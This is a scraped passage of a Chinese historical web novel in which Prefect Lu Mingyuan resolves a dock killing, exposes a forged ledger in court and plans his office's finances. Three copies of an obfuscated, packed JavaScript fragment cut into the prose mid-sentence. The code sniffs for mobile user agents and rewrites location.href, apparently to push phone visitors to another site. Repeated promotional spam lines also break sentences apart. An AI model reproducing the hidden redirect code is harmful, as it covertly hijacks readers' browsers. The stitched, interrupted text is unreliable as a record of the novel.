赵天成的话,再次点燃了身后力工们的怒火,人群骚动,杀气再次弥漫开来。 陆明渊缓缓抬起手,往下压了压。 一个简单的动作,却仿佛带着千钧之力,骚动的人群竟奇迹般地再次安静了下来。 他的目光越过人群,落在了对面那群护卫的身上。 “赵家和刘家的管事,是谁?站出来回话!” 他的声音不大,却清晰地传遍了整个码头。 护卫们一阵骚动,面面相觑,却无人敢应声。 陆明渊的眼神骤然变冷,如同腊月的寒冰:“本官再说一遍,管事的,站出来!莫非要本官亲自去请你吗?” 话音中,已带上了一丝凛冽的杀意。 终于,从货物堆后面,一个身材瘦小、留着两撇鼠须的中年男人,在几个护卫的簇拥下,战战兢兢地走了出来。 他穿着一身绸缎,与周围的环境格格不入,正是赵天成口中的王麻子。 王麻子远远地对着陆明渊拱了拱手,强作镇定地喊道。 “小人王平,见过知府大人。大人,您莫要听这些刁民胡言乱语!” “是他们先聚众**,冲击码头,我们……我们只是自卫而已!” “自卫?” 陆明渊冷笑一声,指着地上的三具尸体。 “那你告诉本官,这三条人命,又作何解释?” 王麻子眼神闪烁,狡辩道。 “这……这是他们自己失足落水的,与我们无关!” “至于那个叫阿东的,是他自己偷窃商行货物,被我们发现后,畏罪投江自尽!这些人是借机敲诈勒索!” “你放屁!” 赵天成闻言,勃然大怒,指着王麻子破口大骂。 “王麻子!你这个天杀的畜生!阿东才十七岁!他为人最是老实!怎么可能偷东西!” “是你!是你昧了良心,克扣工钱,还打**人!你敢不敢让官府的仵作来验尸!” “验就验!谁怕谁!” 王麻子色厉内荏地吼道,但眼神深处却透着一丝慌乱。 陆明渊将一切看在眼里,心中已然有了判断。 他不再理会双方的争吵,而是转身对身后的衙役高声下令。 “传本官命令!立刻传唤府衙仵作,即刻赶到宁远码头验尸!” “另外,将赵家、刘家在温州府的所有主事之人,全部给本官‘请’到府衙大堂!” “一刻钟之内,本官要见到人!” “最后,通知邓玉堂将军,让他派一百精锐,将此地所有商行护卫,全部缴械看押!” “但有反抗者,格杀勿论!” 一连三道命令,清晰果决,带着不容抗拒的威严。 原本还嚣张跋扈的王麻子,听到“格杀勿论”四个字,瞬间腿一软,差点瘫倒在地。 而那些码头力工们,则爆发出了一阵震天的欢呼。 “陆大人英明!” “青天大老爷啊!” 第267章 本官,现在给你一个机会 “陆大人英明! “青天大老爷啊! 力工们的欢呼声如同钱塘江的潮水,一浪高过一浪。 他们看向陆明渊的眼神,已经从最初的怀疑与警惕,彻底转为了狂热的崇拜与信赖。 而与力工们的欢欣鼓舞形成鲜明对比的,是王麻子那张瞬间变得死灰的脸。 他瘫软在地,嘴唇哆嗦着,连一句狡辩的话都说不出来了。 “格杀勿论这四个字,如同四座冰冷的大山,将他所有的侥幸与倚仗都压得粉碎。 就在此时,码头外围传来一阵整齐而沉重的脚步声。 伴随着甲胄摩擦的金属撞击声,一股肃杀之气瞬间席卷全场。 “温州卫奉邓将军之命,前来维持秩序!所有人等,放下武器,原地待命! 一声中气十足的暴喝,让原本还沉浸在喜悦中的力工们瞬间安静下来。 他们下意识地握紧了手中的扁担和锄头,警惕地望向来人。 只见一队队身披铁甲、手持**的官兵,如同一道钢铁洪流,迅速将整个宁远码头封锁得水泄不通。 为首的一名将官,身材魁梧,面容刚毅,正是温州卫指挥佥事,邓玉堂的副将,李校尉。 衙役们见到援军已到,长长地松了一口气,纷纷迎了上去。 而那些商行护卫,则像是看到了救星,脸上露出了劫后余生的庆幸。 李校尉大步流星地走到陆明渊身前,抱拳行礼,声若洪钟。 “末将参见知府大人!邓将军已在府中坐镇,命末将率五百精锐前来听候大人调遣!码头内外,已尽在掌控! 陆明渊微微颔首,目光扫过那些面色紧张的力工,声音依旧平静无波。 “李校尉,辛苦了。本官的命令,你都听到了? “末将听得一清二楚! 李校尉朗声应道。 “好。陆明渊点了点头。 “即刻执行!将此地所有商行护卫,全部缴械,押回卫所看管,没有本官的命令,任何人不得探视! “若有反抗,依本官之令行事! “遵命!李校尉没有丝毫犹豫,转身一挥手。 “来人!缴了他们的械! 王麻子和那群护卫本还心存幻想,以为官兵来了,便是他们的靠山,却没想到等来的是这般雷霆手段。 一时间,哭爹喊娘者有之,想要反抗者亦有之。 但在明晃晃的枪尖和“格杀勿论的军令面前,所 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 有的挣扎都显得苍白无力。 很快,几十名护卫便被缴了械,如同一群丧家之犬,被温州卫的士兵们用绳索捆绑着押走。 处理完护卫,陆明渊的目光转向了赵天成和一众力工。 “赵天成。 “小人在! 赵天成连忙上前一步,恭敬地躬身。 “你也看到了,本官既已插手,便会一查到底,还你们一个公道。 陆明渊的声音缓和了几分。 “但公道,要按朝廷的规矩来。你们聚众械斗,亦是触犯了王法。 “现在,本官命你,带着所有与此事相关之人,以及这三位死者的家属,随本官回府衙,升堂问案。 “本官向你们保证,在案情水落石出之前,府衙不会偏袒任何一方。 “你们,可信得过本官? 赵天成看着陆明渊那双清澈而坚定的眼睛,没有半分迟疑,他猛地单膝跪地,重重叩首。 “我等,愿随大人回府!一切,全凭大人做主! “全凭大人做主! 身后,成百上千的力工齐齐跪下,声震云霄。 陆明渊没有再多言,转身对身边的衙役道。 “将赵家、刘家在温州府的所有主事之人,统统带到府衙大堂!仵作,也一并带去! 说罢,他便迈开步子,在衙役和温州卫的护卫下,向府衙方向行去。 赵天成等人则在另一队官兵的“护送下,紧随其后。 一场足以动摇温州府根基的巨大风波,就这样被陆明渊以一人之力,暂时平息。 温州府衙,大堂之上。 “威——武—— 惊堂木重重拍下,堂下两班衙役齐声呐喊,肃穆的氛围瞬间笼罩了整个公堂。 陆明渊端坐于公案之后,一身青色官袍,面沉如水。 堂下,左侧是赵天成等十余名力工代表,他们身后还跟着三名神情悲戚的妇人,正是死者的家属。 右侧,则是被衙役们“请来的赵、刘两家商行的主事之人。 为首的是一个四十多岁的中年胖子,锦衣华服,大腹便便,正是赵家商行在温州的大掌柜,赵德海。 他身边则是一个面相精明的瘦高个,刘家商行的管事,刘三。 至于那个王麻子,则像条死狗一样跪在他们二人身后,瑟瑟发抖。 “堂下何人,报上名来! 陆明渊的声音在空旷的大堂中回响,带着不容置疑的威严。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 赵德海和刘三对视一眼,上前一步,拱手道。 “草民赵德海(刘三),见过知府大人。 他们虽然被强行“请来,但脸上却无多少惧色,反而透着几分有恃无恐。 毕竟,他们背后站着的,是京中权贵,能将生意做到温州来,自然都有自己的依仗。 他们无比清楚,官场之上,和光同尘,没有解决不了的麻烦,只有没送到位的银子。 今天就算是闹出了天大的麻烦,多送些银子就摆平了! 陆明渊冷眼看着他们,淡淡道。 “赵德海,刘三。宁远码头,三条人命,你们作何解释? 赵德海肥胖的脸上挤出一丝笑容,不紧不慢地说道。 “回大人,此事纯属误会。我等与码头力工素来合作愉快。 “只是此次,他们无故拖延工期,导致我们商行一批运往京师的货物延误,损失惨重。 “按照当初签订的契约,我等扣除其三成工钱,合情合理。 “胡说! “分明是你们出尔反尔!当初说好的是十五船货,临时却变成了二十船! “我们兄弟们连轴转,熬了几个通宵才把货装完,你们不加钱也就罢了,还反咬一口,说我们延误工期! “天底下哪有这样的道理! 刘三闻言,冷笑一声,从袖中掏出一份契约,呈给旁边的衙役,朗声道。 “大人,白纸黑字,岂容他们抵赖?这契约上写得清清楚楚,十月初十之前,必须完工发货。 “可他们硬生生拖到了二十号!我等只是依约行事,何错之有? “至于那多出来的五船货,更是无稽之谈! 衙役将契约呈上,陆明渊拿过来,仔细翻看。 契约条款清晰,工期、工价、违约责任都写得明明白白,上面还按着密密麻麻的手印。 单从这份契约来看,赵、刘两家商行确实占着理。 赵天成急得满脸通红。 “大人!那契约是签了,可货物的数量不对啊!他们后来加了货,这怎么算? 赵德海一脸无辜地摊了摊手。 “大人明鉴,我等从未增加过货物。 “这码头上所有进出的船只货物,都在漕运衙门有登记造册,一查便知。他们这是血口喷人! “好一个一查便知。 陆明渊的嘴角勾起一抹冷冽的弧度。 “来人 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 传漕运码头主簿将宁远码头近一个月的货运记事簿给本官呈上来!” 很快一名身穿吏服、贼眉鼠眼的小官捧着一本厚厚的册子战战兢兢地走上堂来。 “小吏漕运主簿孙祥参见大人。” “将记事簿呈上。” 陆明渊接过记事簿直接翻到十月份的记录。 他目光如炬一页一页地仔细查看。 当翻到赵、刘两家商行登记的那一页时他停了下来。 只见上面用蝇头小楷清清楚楚地记载着。 赵、刘商行入港福船二十艘承运丝绸、瓷器等货物于十月二十日离港。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777358|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵德海见状脸上露出了得意的笑容对着陆明渊拱手道。 “大人您看到了?这可是官府的记事簿做不得假!” “明明就是这帮刁民偷奸耍滑延误工期如今还敢恶人先告状请大人为我等做主啊!” 力工们顿时一片哗然他们明明记得是十五艘船怎么就变成了二十艘? 赵天成更是目瞪口呆喃喃道:“不可能……这不可能……” 公堂之上的气氛瞬间逆转所有的证据似乎都指向了力工一方。 然而陆明渊的脸上却毫无波澜。 他修长的手指轻轻摩挲着记事簿的书页目光落在书页的侧边装订处眼神陡然一凝。 那里的纸张有着极其细微的、几乎难以察觉的撕裂与重新黏合的痕迹。 他的嘴角缓缓向上扬起一个冰冷的弧度。 他抬起头目光如电直刺跪在地上的漕运主簿孙祥。 “孙主簿。” “小……小吏在。” 孙祥被他看得心头发毛声音都开始打颤。 陆明渊将那本记事簿举起对着他晃了晃 “本官问你这记事簿可是你亲手所记?” “是……是小吏所记。” “好。” 陆明渊点了点头然后在所有人惊愕的目光中他捏住那几页纸猛地一撕! “刺啦——” 一声脆响记事簿被他从中撕开露出了侧面的装订夹层。 只见那夹层之中赫然夹着几片被裁掉的纸张碎片上面还残留着“拾伍”两个墨迹未干的字样! 而原本记录“二十”的那一页其边缘明显有着被利刃裁切后用浆糊重新粘贴的痕迹! 真相在这一刻 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ,昭然若揭! 整个公堂,瞬间陷入了一片死寂。 赵德海和刘三脸上的得意笑容僵住了,取而代之的是无尽的惊恐与骇然。 他们怎么也想不到,做得如此天衣无缝的手段,竟会被陆明渊用如此简单粗暴的方式,当场揭穿! 跪在地上的孙祥,更是面如死灰,浑身抖得如同筛糠一般。 陆明渊将那撕开的记事簿重重地摔在公案之上,发出一声巨响,如同惊雷炸响在每个人的心头。 他缓缓站起身,居高临下地俯视着抖成一团的孙祥,声音冷得仿佛能冻结空气。 “孙祥,伪造官府文书,与奸商勾结,欺上瞒下,草菅人命。你可知,这是何等大罪?” “大……大人饶命!大人饶命啊!” 孙祥魂飞魄散,连连叩头,额头很快便磕出了血。 陆明渊却不为所动,他缓缓走下公案,一步一步地来到孙祥面前。 陆明渊蹲下身,直视着他那双充满恐惧的眼睛。 “本官,现在给你一个机会。” 他的声音压得很低,却清晰地传入孙祥的耳中,如同魔鬼的低语。 “告诉本官,是谁,指使你这么做的?” “你若现在招认,本官可以念你尚有悔改之心,不追究你的主责。但你若想继续冥顽不灵,替人隐瞒……” 陆明渊的嘴角勾起一抹森然的笑意。 “那你可要想清楚了,你以为,这小小的漕运衙门里,所有人都会为了你一个人,守口如瓶吗?” “你以为,赵德海和刘三,会为了你一个小小的主簿,扛下所有罪责吗?” “本官,只给你三息时间考虑。” 陆明渊的声音陡然拔高。 “三!” 孙祥浑身一颤,冷汗如浆。 他下意识地回头看了一眼面色惨白的赵德海,眼神中充满了挣扎与绝望。 “二!” 陆明渊的声音再次响起,不带一丝一毫的感情。 那冰冷的数字,一点点碾碎他最后的心理防线。 他想到了自己的妻儿老小,想到了抄家灭族的下场,一股前所未有的恐惧淹没了他。 “一!” 陆明渊的最后一个数字尚未出口,孙祥便再也坚持不住,崩溃出声! “我……我说!我说!” 第268章 一律秋后问斩,绝不姑息! “我……我说!我说!” 孙祥整个人像是被抽走了骨头瘫软在地涕泪横流。 他将赵德海与刘三如何用五百两银子买通他。 如何连夜潜入漕运衙门的书库用早已备好的纸张偷梁换柱伪造记事簿的全过程尽数抖落了出来。 他一边说一边疯狂地磕头。 “大人大人小人猪油蒙了心真的知错了!” “求大人念在小人辛苦数十年的份儿上从轻发落啊大人!” 赵德海与刘三面如金纸汗透重衣再无半分先前的嚣张气焰。 他们知道当孙祥开口的那一刻 陆明渊缓缓站直了身子目光重新变得冷冽。 他看也不看地上那滩烂泥般的孙祥而是将视线投向了堂侧一直默不作声的同知崔颖。 “崔大人。” “下官在。” 崔颖连忙出列。 陆明渊的声音里不带丝毫温度。 “漕运衙门官府重地文书档案竟能随意篡改如同儿戏。” “本官以为这绝非一个小小主簿就能只手遮天之事。” “此事本官便交由崔大人协同温州卫指挥佥事邓玉堂即刻彻查!” “上至主官下至吏役凡有牵涉者一律拿下关入大牢听候发落!” “下官遵命!” 崔颖心中一凛躬身应道。 他知道这位年轻的知府大人要动真格了! 一场官场上的大清洗已然拉开了序幕。 处理完漕运衙门陆明渊的目光落在了抖如糠筛的赵德海与刘三身上。 “赵德海刘三。伪造官府文书贿赂朝廷官吏草菅人命。桩桩件件都是灭门的大罪。” “不过本官念在上天有好生之德念在尔等初犯。” “现在将当初动手行凶打死那三名力工的护卫交出来。” 他的声音顿了顿每一个字都透着不容置疑的威严。 “主犯秋后问斩。其余动手之人杖刑一百流放三千里。” “你们二人作为主事纵容家奴行凶罚银三千两用以抚恤死者家属。” “至于克扣赵天成等人的工钱即刻全数付清并按照官府钱庄的最高利息补足这期间的利钱。” 陆明渊的目光转向刘三。 “刘管事本官如此判罚你刘家可服?” 刘三哪 你的朋友正在书荒,快去帮帮他吧 里还敢说半个不字,连连叩首,声音发颤。 “服……草民服!草民代我家主人,谢大人不杀之恩!” 陆明渊又看向赵德海。 “你呢?赵掌柜。” 赵德海那肥胖的身躯早已被冷汗浸透,他哪里还敢反驳。 能留下一条命来都是天大的幸事了! “草民……心服口服,全凭大人做主。” 陆明渊微微颔首,最后将目光投向了堂下一直沉默的赵天成。 “赵天成,本官如此处置,你们,还有何诉求?” 赵天成这个饱经风霜的汉子,此刻早已是泪流满面。 他从未想过,自己这辈子,竟能亲眼见到如此清明公正的审判。 他猛地向前膝行几步,重重一个响头磕在冰冷的青石板上,声音嘶哑激动。 “青天大老爷!大人已经为我等死去的兄弟申了冤,惩了凶,我等草民,再无他求!” “大人之恩,我等永世不忘!” “我等,永世不忘!” 身后的力工代表们齐齐叩首,泣不成声。 “好。” 陆明渊点了点头,脸上的神情却并未因此缓和,反而变得更加严肃。 他猛地一拍惊堂木,堂上气氛瞬间又是一肃。 “赵天成等人听判!” 赵天成等人心中一紧,连忙伏低身子。 “你等虽是事出有因,情有可原,但聚众于码头,手持器械,公然械斗,亦是触犯我大乾律法!” “国法无情,岂能因私愤而废?” 陆明渊的声音回荡在大堂之上。 “本官判,凡参与今日械斗之人,各杖责三十!并罚入衙门充当衙役三月,以儆效尤!” 此言一出,赵天成等人皆是一愣。 陆明渊看着他们的反应,声音缓和了半分。 “然,念及你等是为同乡兄弟打抱不平,血性尚存。” “这三月衙役,便在宁远码头服役,协助官府维持秩序。” “服役期间,不得支取工钱。赵天天,你可服?” 杖责三十,看似严厉,但比起聚众械斗的大罪,已是天大的恩典。 更何况,只是在码头服役,并未将他们关入大牢。 这哪里是惩罚,分明是陆大人在用另一种方式保护他们! 赵天成瞬间明白了陆明渊的苦心,感激涕零,再次叩首。 “草民心服口服!谢大人法外开恩!” “既如此,退 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 堂!” 陆明渊说罢,拂袖而起,转身向后堂走去。 “威——武——” 衙役们的呐喊声中,一场足以掀翻整个温州府的大案,就此尘埃落定。 而这仅仅只是一个开始。 陆明渊雷厉风行,判完案子,便立刻下令,在府衙门口张贴告示,昭告全城。 即日起,温州府衙特设镇海司申诉衙门,凡漕运、海贸之事,有任何不公,皆可前来上报。 府衙必将详查,还民公道。 但若再有因私怨而聚众斗殴者,一经查实,主犯从犯,一律秋后问斩,绝不姑息! 告示一出,整个温州府为之震动。 与此同时,宁远码头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777359|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 当赵天成带着一众兄弟,在官兵的“押送”下回到码头时,早已等候在此的数千名力工立刻围了上来。 一张张脸上写满了焦急与期盼。 赵天成站在高处,看着那一双双熟悉的眼睛,他深吸一口气,振臂高呼。 “兄弟们!青天大老爷,已经为我们做主了!” 他的声音里带着哭腔,却充满了无尽的喜悦与激动。 “那**凶手,秋后问斩!那些**的从犯,也全都挨了板子,流放三千里!” “赵家和刘家赔了咱们银子!咱们死去的兄弟,可以瞑目了!” 整个码头先是一静,随即爆发出山呼海啸般的欢呼声! 就在此时,码头外围,陆明渊在温州卫的护卫下,缓缓行来。 赵天成一眼看到那熟悉的身影,连忙转身,对着所有**喊。 “大家快看!是陆大人来了!就是这位青天大老爷,为我们讨回了公道!大家快给陆大人行礼!” 话音未落,码头上成千上万的力工,如同被风吹过的麦浪,齐刷刷地跪了下去。 “参见青天大老爷!” “谢大人为我等做主!” 陆明渊摆了摆手,身旁的衙役们立刻上前,将众人一一搀扶起来。 他走到人群中央,目光扫过一张张激动而质朴的脸庞,朗声说道。 “诸位乡亲,请起。” 他的声音清朗,却带着一种足以安抚人心的力量。 “本官知道你们心中有怨,有恨。但今日之事,亦给你们敲响了警钟。” “你们聚众持械,若是真的闹出了人命,那便不是简单的斗殴,而是聚众谋逆!” “届时,株连三族,家破人亡,悔之晚矣!” 力工们闻言,脸上的激动渐渐褪去,取而代之的是一丝后怕。 陆明渊看着他们的神情变化,继续说道。 “本官今日在此,向你们,向整个温州府的百姓保证。” “只要我陆明渊在温州府一日,这府衙的大门,就永远为你们敞开!” “无论你们遇到任何不公之事,都应当第一时间上报官府,而不是诉诸暴力。” 他的眼神变得无比坚定,声音铿锵有力,回荡在码头的上空。 “本官可以保证,温州府衙,从今往后,会永远站在公道这一边!” “绝不会偏袒任何豪强,也绝不会姑息任何罪恶!” “你们,要信官府,信朝廷,信公道,自在人心!” 话音落下,整个码头鸦雀无声。 片刻之后,不知是谁带头,雷鸣般的掌声骤然响起,经久不息。 夕阳的余晖洒在钱塘江上,也洒在这位年轻知府的身上,为他青色的官袍,镀上了一层金色的光辉。 在无数双崇敬的目光中,陆明渊的身影,仿佛化作了一座丰碑,永远地矗立在了温州府百姓的心中。 第269章 规矩,是人定的! 陆明渊看着眼前这片黑压压的人群心中亦是感慨万千。 民心如水可载舟亦可覆舟。 今日之举看似只是处理了一桩小小的械斗案实则是在这温州府的官场与民间 以后温州府衙的官场至少会少上许多剥削压迫! 他没有再多言只是对着众人微微颔首而后转身在温州卫士卒的护卫下缓缓离去。 身后是数千道灼热而崇敬的目光久久追随。 返回府衙的路上夕阳将他的影子拉得很长。 陆明渊让温州卫将码头的众人疏散确保秩序恢复自己则步履沉稳地走回了后堂。 夜色渐浓后堂之内灯火通明。 裴文忠早已在此等候多时见陆明渊进来立刻起身行礼:“大人。” “坐吧。” 陆明渊解下官袍自有侍女接过去挂好。 他坐到主位上端起茶盏轻呷一口才缓缓开口道。 “今日码头之事你也看到了。乱象丛生积弊已深非一日之功可解。监管之事必须即刻加强。” 裴文忠神色凝重地点了点头。 “大人说的是。若非大人今日果决只怕后果不堪设想。” “所以”陆明渊放下茶盏目光锐利如刀。 “我同意组建一支专门的力量用以维持码头秩序。靖海司的编制不是有四个营的名额吗?” 裴文忠心中一动立刻应道。 “是按照朝廷批复靖海司下辖四营上限四万人。” “好。”陆明渊手指轻轻敲击着桌面发出笃笃的声响。 “明日起便张榜招募。从退伍的老兵中招募七百人。再从我们收编的那些倭寇中挑选三百精壮。” “记住必须是那些真心归顺且身家清白之人。” “将这两拨人打乱打散混编在一起组建‘安澜营’。” “安澜营……” 裴文忠默念着这个名字眼中闪过一丝亮光。 “取‘海波平息天下安澜’之意好名字!” “大人是想让这支队伍专门负责巡视漕运码头和海运码头防止类似今日的大规模械斗冲突再次发生?” “正是此意。”陆明渊颔首道。 “这支队伍不属温州卫不归府衙只听我靖海司调遣。所有人的俸禄从镇海司的公账上支取。” “下官明白了!” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 裴文忠躬身领命,随即又从袖中取出一本账册,神情变得有些严肃。 “大人,正好您提到公账,有些事,下官需向您禀报。 “说。 裴文忠翻开账册,条理清晰地汇报道。 “先前温州海战,缴获倭寇白银共计五百余万两,其中三百万两送往京都。 “余下二百万两留待镇海司所用。 “按照您的吩咐,采买龙骨的几家商行,先行结算了五万两订金。 “镇海司衙门初期的修缮、改造,以及采买各类公物,共花费三万两白银。 “如今,公账上还余一百九十二万两,每一笔开支都有专人记录在册,明细清晰。 他顿了顿,继续说道。 “镇海司的办公衙门已经初步整理完毕,眼下容纳两百人绰绰有余。 “您下令发出的招贤令,也已初见成效,已有超过百名士子、工匠慕名而来。 “这些人,还需大人您亲自考教一番,才能定下职司。 陆明渊静静地听着,这些都在他的预料之中。 裴文忠话锋一转,语气沉重了几分。 “只是,大人,这开销也着实不小。 “千机院那边,随着各项研究的深入,工钱和材料费用日益增多,眼下每个月就要支出超过一万两白银。 “这还是在尚未大规模招募墨家传人的情况下,若是那些机关巧匠尽数到位。 “下官预计,千机院每月的开支,将达到两万两上下。 他深吸一口气,翻到账册的另一页。 “再加上今日大人您决定组建的安澜营,一千人的编制。 “即便是按照最低的士卒俸禄来算,加上器械、粮草等额外开支,每月至少也需再添两万两。 “如此算下来,光是千机院和安澜营,镇海司每个月就要花出去近三万两银子。 “等到明年,从云贵川采买的龙骨陆续运抵船厂,我们开始正式修建战船,那才是真正烧钱的时候。 “大人,我们账上这不到两百万两银子,恐怕……根本不够花! 裴文忠的脸上写满了忧虑。 他是个务实的人,深知钱粮对于成事的重要性。 陆明渊听完这番话,神色却依旧平静。 他端起茶杯,吹了吹漂浮的茶叶,问道。 “荣兵商会和纺织厂,如今进展如何? 裴文忠早有准备,立刻让人取来另一份账本,翻开 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 汇报道。 “回大人,荣兵商会依托退伍老兵的渠道,已经在温州府及周边几个府县铺开。 “主要经营一些山货、特产,外加上我温州产的丝绸,以市价采购,运往京都等地售卖,目前每个月能有三千两白银的进项。 “从倭寇处救回来的女工,组建的纺织厂规模尚小,每个月进项约莫五百两。 “两者相加,不过三千五百两,仅仅够支付镇海司衙门日常的俸禄和开销。 他合上账本,叹了口气。 “如今,我们最大的进项,还是来自税赋。 “漕运税赋,加上府内其他各项税收,每个月大约有十万两的进项。 “下官估算,等到海运彻底开通,厘清了那些世家的账目,每个月的税赋总额,应该能达到二十万两。 “到那时,镇海司的压力,或许能缓和一些。 陆明渊在心中默默算了一笔账。 漕运与海运的税赋,按照大乾律例,有五成是要上缴国库的。 也就是说,即便海运开通,温州府一个月能拿到手的,也不过十万两,一年便是一百二十万两。 听起来是个天文数字,可镇海司的开销同样巨大。 千机院、安澜营,加上未来船厂的修建,工匠的招募,材料的采买。 这一百二十万两,恐怕连建造几艘大型福船都不够。 更遑论是陆明渊心中构想的那种集火炮、速度、坚固于一体的新式战船了。 这一刻,即便是智计百出的陆明渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777360|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也感到了如山一般的压力。 他终于明白,为何自古以来,但凡推行改革,总是步履维艰。 这背后不仅仅是利益集团的阻挠,更是因为“改革二字,本身就是用金山银海堆砌起来的。 任何一项新政的推行,都需要耗费难以想象的人力、物力、财力。 难怪那些世家大族能够盘踞一地,根深蒂固,因为他们掌握了最根本的命脉——钱。 陆明渊缓缓吐出一口浊气,双眼微眯,眸中闪烁着思索的光芒。 开源,必须开源! 仅靠税赋和那点小生意,无异于杯水车薪。 他的手指无意识地敲击着桌面,脑海中飞速地运转着。 温州,靠海,最大的优势便是海贸。 沈家、汪家、陈家,这些浙江世家之所以富可敌国,不就是因为他们垄断了与倭寇、与海外番邦的走私贸易吗? 自己要做的,不是简单地取缔他 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 们。 他要建立一个全新的、由官府主导的、更加庞大、更加高效的海上贸易体系! 一个念头,如闪电般划过他的脑海,让他的心跳都漏了一拍。 官府做庄,组建官方的远洋商队,打通从大乾到南洋,甚至到更遥远的西洋的航线。 丝绸、瓷器、茶叶……这些在大乾寻常的物件,在海外却是价比黄金的硬通货。 其中的利润,何止十倍、百倍! 只要这条航线能够打通,别说一个镇海司,便是再养十个镇海司,也绰绰有余! 这个想法太过惊世骇俗,一旦提出,必将引来朝堂之上无数的攻讦。 重农抑商,乃是大乾立国之本。 官府与民争利,更是文官集团所不能容忍的。 但……陆明渊的嘴角,却缓缓勾起一抹弧度。 规矩,是人定的。 当年郑和不也三下西洋,为大乾王朝带回来数之不尽的财富? 当利益足够大,大到足以改变国运的时候,规矩,便可以改一改。 届时定下规矩,每年出海的份额,官府占据一部分,民营商队占据一部分! 如此便也能缓解极大冲突! 当然,此事还需从长计议。 眼下,他需要先解决镇海司的燃眉之急。 “文忠,” 陆明渊抬起头,目光重新变得清明而坚定。 “钱的事,你暂且不必过于忧虑。你现在要做的,是尽快将安澜营的架子搭起来,将招贤令请来的人才安置好。” “尤其是那些懂得营造、算学、机关术的能工巧匠,一定要以礼相待,不可有丝毫怠慢。” “至于银子……” 他笑了笑,那笑容里带着一种运筹帷幄的自信。 “山人自有妙计。” 看着陆明渊笃定的神情,裴文忠心中的忧虑也消散了大半。 他虽然不知道这位年轻的大人究竟有何妙计。 但他相信,自他认识陆明渊以来,这位状元郎似乎还从未做过没有把握的事情。 “是,下官遵命!” 裴文忠起身,恭敬地行了一礼,便退了出去,开始着手安排各项事宜。 第270章 大人之才,经天纬地! 裴文忠起身恭敬地行了一礼便退了出去开始着手安排各项事宜。 后堂之内烛火摇曳偌大的厅堂一时间只剩下陆明渊一人。 陆明渊没有动只是静静地坐着。 开源说来容易做起来却难如登天。 他提出的官府组建远洋商队的想法看似是一条金光大道实则每一步都可能踏入万丈深渊。 这不仅仅是与盘根错错节的世家大族为敌更是要挑战大乾立国百年来“重农抑商”的国策根本。 朝堂之上那些皓首穷经的文臣言官一人一口唾沫便足以将他淹没。 此事 必须先在温州在这镇海司的一亩三分地里做出些成绩来。 要让京都那位高居御座之上的陛下看到实实在在的好处。 看到白花花的银子看到一支能征善战、所向披靡的水师。 到那时才有资格去谈一谈改规矩的事情。 陆明渊收回思绪目光重新落回眼前这方小小的天地。 饭要一口一口吃路要一步一步走。 眼下最紧要的还是镇海司自身的建设。 一个衙门光有主官和几个佐贰官是不够的。 它需要无数的令吏、书办、胥吏来填充血肉才能真正运转起来。 而这些人恰恰是决定一个衙门风气好坏效率高低的关键。 他发出的招贤令吸引来了百余名士子工匠这只是第一步。 如何从这些人中筛选出真正能为他所用能贯彻他意志的干才才是重中之重。 决不能让那些尸位素餐、只知钻营的蠹虫混进他一手打造的镇海司! 陆明渊的眼神渐渐变得锐利起来心中一个崭新的、甚至有些离经叛道的选官方案已然成型。 他端起茶盏将已经微凉的茶水一饮而尽而后扬声唤道:“来人。” 门外一名侍女应声而入。 “去将裴大人请回来。” “是。” 不多时刚刚离去不久的裴文忠便匆匆返回脸上带着一丝疑惑。 他以为陆明渊又有什么紧急的军务要交代。 “大人您叫我?” “文忠坐。” 陆明渊指了指下首的椅子语气沉稳。 “关于招贤令一事我有些新的想法需要你立刻去办。” 裴文忠心中一凛连忙正襟危坐洗耳恭听。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “镇海司初创,百废待兴,选人用人乃是头等大事。” “此次慕名而来的几百人,我决定设立两重考核。” “两重考核?” 裴文忠微微一怔。 “不错。”陆明渊颔首,声音清晰而有力。 “第一重,为笔试。” “所有应募之人,不论文武,不分出身,皆需参加。试卷由我亲自来出,主要考核三项内容。” 他伸出一根手指。 “其一,漕运与海运的相关知识。镇海司之根本,在于经略海洋,若对此一无所知,便是满腹经纶,于我也无用。” 